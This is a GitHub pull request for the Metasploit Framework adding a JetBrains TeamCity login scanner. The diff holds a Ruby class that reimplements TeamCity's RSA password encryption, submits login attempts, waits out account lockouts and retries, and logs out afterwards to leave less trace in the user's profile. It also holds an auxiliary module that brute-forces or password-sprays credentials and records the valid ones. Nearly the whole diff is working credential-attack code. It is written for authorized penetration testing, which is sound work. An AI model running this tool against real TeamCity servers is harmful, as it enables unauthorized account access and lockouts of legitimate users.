Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add JetBrains TeamCity HTTP Login Scanner #19601

Open
wants to merge 14 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
275 changes: 275 additions & 0 deletions lib/metasploit/framework/login_scanner/teamcity.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,275 @@
require 'metasploit/framework/login_scanner/http'

module Metasploit
module Framework
module LoginScanner

# This is the LoginScanner class for dealing with JetBrains TeamCity instances.
# It is responsible for taking a single target, and a list of credentials
# and attempting them. It then saves the results.
class Teamcity < HTTP

module Crypto
# https://github.com/openssl/openssl/blob/a08a145d4a7e663dd1e973f06a56e983a5e916f7/crypto/rsa/rsa_pk1.c#L125
# https://datatracker.ietf.org/doc/html/rfc3447#section-7.2.1
def pkcs1pad2(text, n)
raise ArgumentError, "Cannot pad the text: '#{text.inspect}'" unless text.is_a?(String)
raise ArgumentError, "Invalid message length: '#{n.inspect}'" unless n.is_a?(Integer)

bytes_per_char = two_byte_chars?(text) ? 2 : 1
if n < ((bytes_per_char * text.length) + 11)
raise ArgumentError, 'Message too long'
end

ba = Array.new(n, 0)
n -= 1
ba[n] = text.length

i = text.length - 1

while i >= 0 && n > 0
char_code = text[i].ord
i -= 1

num_bytes = bytes_per_char

while num_bytes > 0
next_byte = char_code % 0x100
char_code >>= 8

n -= 1
ba[n] = next_byte

num_bytes -= 1
end
end
n -= 1
ba[n] = 0

while n > 2
n -= 1
ba[n] = rand(1..255) # Can't be a null byte.
end

n -= 1
ba[n] = 2
n -= 1
ba[n] = 0

ba.pack("C*").unpack1("H*").to_i(16)
end

# @param [String] modulus
# @param [String] exponent
# @param [String] text
# @return [String]
def rsa_encrypt(modulus, exponent, text)
n = modulus.to_i(16)
e = exponent.to_i(16)

padded_as_big_int = pkcs1pad2(text, (n.bit_length + 7) >> 3)
encrypted = padded_as_big_int.to_bn.mod_exp(e, n)
h = encrypted.to_s(16)

h.length.odd? ? h.prepend('0') : h
end

def two_byte_chars?(str)
raise ArgumentError, 'Unable to check char size for non-string value' unless str.is_a?(String)

str.each_codepoint do |codepoint|
return true if codepoint >> 8 > 0
end

false
end

def max_data_size(str)
raise ArgumentError, 'Unable to get maximum data size for non-string value' unless str.is_a?(String)

# Taken from TeamCity's login page JavaScript sources.
two_byte_chars?(str) ? 58 : 116
end

# @param [String] text The text to encrypt.
# @param [String] public_key The hex representation of the public key to use.
# @return [String] A string blob.
def encrypt_data(text, public_key)
raise ArgumentError, "Cannot encrypt the provided data: '#{text.inspect}'" unless text.is_a?(String)
raise ArgumentError, "Cannot encrypt data with the public key: '#{public_key.inspect}'" unless public_key.is_a?(String)

exponent = '10001'
e = []
utf_text = text.dup.force_encoding(::Encoding::UTF_8)
g = max_data_size(utf_text)

c = 0
while c < utf_text.length
b = [utf_text.length, c + g].min

a = utf_text[c..b]

encrypt = rsa_encrypt(public_key, exponent, a)
e.push(encrypt)
c += g
end

e.join('')
end
end

include Crypto

DEFAULT_PORT = 8111
LIKELY_PORTS = [8111]
LIKELY_SERVICE_NAMES = ['skynetflow'] # Comes from nmap 7.95 on MacOS
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

PRIVATE_TYPES = [:password]
REALM_KEY = nil

LOGIN_PAGE = 'login.html'
LOGOUT_PAGE = 'ajax.html?logout=1'
SUBMIT_PAGE = 'loginSubmit.html'

class TeamCityError < StandardError; end
class StackLevelTooDeepError < TeamCityError; end
class NoPublicKeyError < TeamCityError; end
class PublicKeyExpiredError < TeamCityError; end
class DecryptionException < TeamCityError; end
class ServerNeedsSetupError < TeamCityError; end

# Extract the server's public key from the server.
# @return [Hash] A hash with a status and an error or the server's public key.
def get_public_key
request_params = {
'method' => 'GET',
'uri' => normalize_uri(@uri.to_s, LOGIN_PAGE)
}

begin
res = send_request(request_params)
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e }
end

return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the TeamCity service' } if res.nil?

raise ServerNeedsSetupError, 'The server has not performed the initial setup' if res.code == 503

html_doc = res.get_html_document
public_key = html_doc.xpath('//input[@id="publicKey"]/@value').text
raise NoPublicKeyError, 'Could not find the TeamCity public key in the HTML document' if public_key.empty?

{ status: :success, proof: public_key }
end

# Create a login request for the provided credentials.
# @param [String] username The username to create the login request for.
# @param [String] password The password to log in with.
# @param [String] public_key The public key to encrypt the password with.
# @return [Hash] The login request parameter hash.
def create_login_request(username, password, public_key)
{
'method' => 'POST',
'uri' => normalize_uri(@uri.to_s, SUBMIT_PAGE),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
username: username,
remember: true,
_remember: '',
submitLogin: 'Log in',
publicKey: public_key,
encryptedPassword: encrypt_data(password, public_key)
}
}
end

# Try logging in with the provided username, password and public key.
# @param [String] username The username to send the login request for.
# @param [String] password The user's password.
# @param [String] public_key The public key used to encrypt the password.
# @return [Hash] A hash with the status and an error or the response.
def try_login(username, password, public_key, retry_counter = 0)
raise StackLevelTooDeepError, 'try_login stack level too deep!' if retry_counter >= 2

login_request = create_login_request(username, password, public_key)

begin
res = send_request(login_request)
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e }
end

return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the TeamCity service' } if res.nil?
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 200

# Check if the current username is timed out. Sleep if so.
# TODO: This can be improved. The `try_login` method should not block until it can retry credentials.
# This responsibility should fall onto the caller, and the caller should keep track of the tried, locked out and untried sets of credentials,
# and it should be up to the caller and its scheduler algorithm to retry credentials, rather than force this method to block.
# Currently, those building blocks are not available, so this is the approach I have implemented.
timeout = res.body.match(/login only in (?<timeout>\d+)s/)&.named_captures&.dig('timeout')&.to_i
if timeout
framework_module.print_status "User '#{username}' locked out for #{timeout} seconds. Sleeping, and retrying..."
sleep(timeout + 1) # + 1 as TeamCity is off-by-one when reporting the lockout timer.
result = try_login(username, password, public_key, retry_counter + 1)
return result
end

return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res } if res.body.match?('Incorrect username or password')

raise DecryptionException, 'The server failed to decrypt the encrypted password' if res.body.match?('DecryptionFailedException')
raise PublicKeyExpiredError, 'The server public key has expired' if res.body.match?('publicKeyExpired')

{ status: :success, proof: res }
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is it worth adding some positive assertions here to verify we're logged in, versus defaulting to success?

I guess it might be better to have false positives so that users report bugs for us to fix, versus false negatives that cause users to miss valid creds though 🤔

end

# Send a logout request for the provided user's headers.
# This header stores the user's cookie.
def logout_with_headers(headers)
logout_params = {
'method' => 'POST',
'uri' => normalize_uri(@uri.to_s, LOGOUT_PAGE),
'headers' => headers
}

begin
send_request(logout_params)
rescue Rex::ConnectionError => _e
# ignore
end
end

def attempt_login(credential)
result_options = {
credential: credential,
host: @host,
port: @port,
protocol: 'tcp',
service_name: 'teamcity'
}

if @public_key.nil?
public_key_result = get_public_key
return Result.new(result_options.merge(public_key_result)) if public_key_result[:status] != :success

@public_key = public_key_result[:proof]
end

login_result = try_login(credential.public, credential.private, @public_key)
return Result.new(result_options.merge(login_result)) if login_result[:status] != :success

# Ensure we log the user out, so that our logged in session does not appear under the user's profile.
logout_with_headers(login_result[:proof].headers)

result_options[:status] = ::Metasploit::Model::Login::Status::SUCCESSFUL
Result.new(result_options)
end

private

attr_accessor :public_key

end
end
end
end
99 changes: 99 additions & 0 deletions modules/auxiliary/scanner/teamcity/teamcity_login.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/teamcity'

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'JetBrains TeamCity Login Scanner',
'Description' => 'This module performs login attempts against a JetBrains TeamCity webpage to bruteforce possible credentials.',
'Author' => [ 'adfoster-r7', 'sjanusz-r7' ],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [],
'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ]
}
)
)

register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the TeamCity application', '/']),
Opt::RPORT(8111),
OptBool.new('PASSWORD_SPRAY', [true, 'Reverse the credential pairing order. For each password, attempt every possible user.', true]),
], self.class
)

options_to_deregister = ['DOMAIN']
deregister_options(*options_to_deregister)
end

def process_credential(credential_data)
credential_combo = "#{credential_data[:username]}:#{credential_data[:private_data]}"
case credential_data[:status]
when Metasploit::Model::Login::Status::SUCCESSFUL
print_good "#{credential_data[:address]}:#{credential_data[:port]} - Login Successful: #{credential_combo}"
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
return { status: :success, credential: credential_data }
else
error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]})"
vprint_error error_msg
invalidate_login(credential_data)
return { status: :fail, credential: credential_data }
end
end

def run_scanner(scanner)
successful_logins = []
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: fullname,
workspace_id: myworkspace_id
)

processed_credential = process_credential(credential_data)
successful_logins << processed_credential[:credential] if processed_credential[:status] == :success
end
{ successful_logins: successful_logins }
end

def run_host(ip)
cred_collection = build_credential_collection(
username: datastore['USERNAME'],
password: datastore['PASSWORD']
)

scanner_opts = configure_http_login_scanner(
host: ip,
uri: target_uri,
port: datastore['RPORT'],
proxies: datastore['Proxies'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: datastore['HttpClientTimeout'] || 5,
framework: framework,
framework_module: self,
http_success_codes: [200, 302],
method: 'POST',
ssl: datastore['SSL']
)

scanner = Metasploit::Framework::LoginScanner::Teamcity.new(scanner_opts)
sjanusz-r7 marked this conversation as resolved.
Show resolved Hide resolved
run_scanner(scanner)
end
end
Loading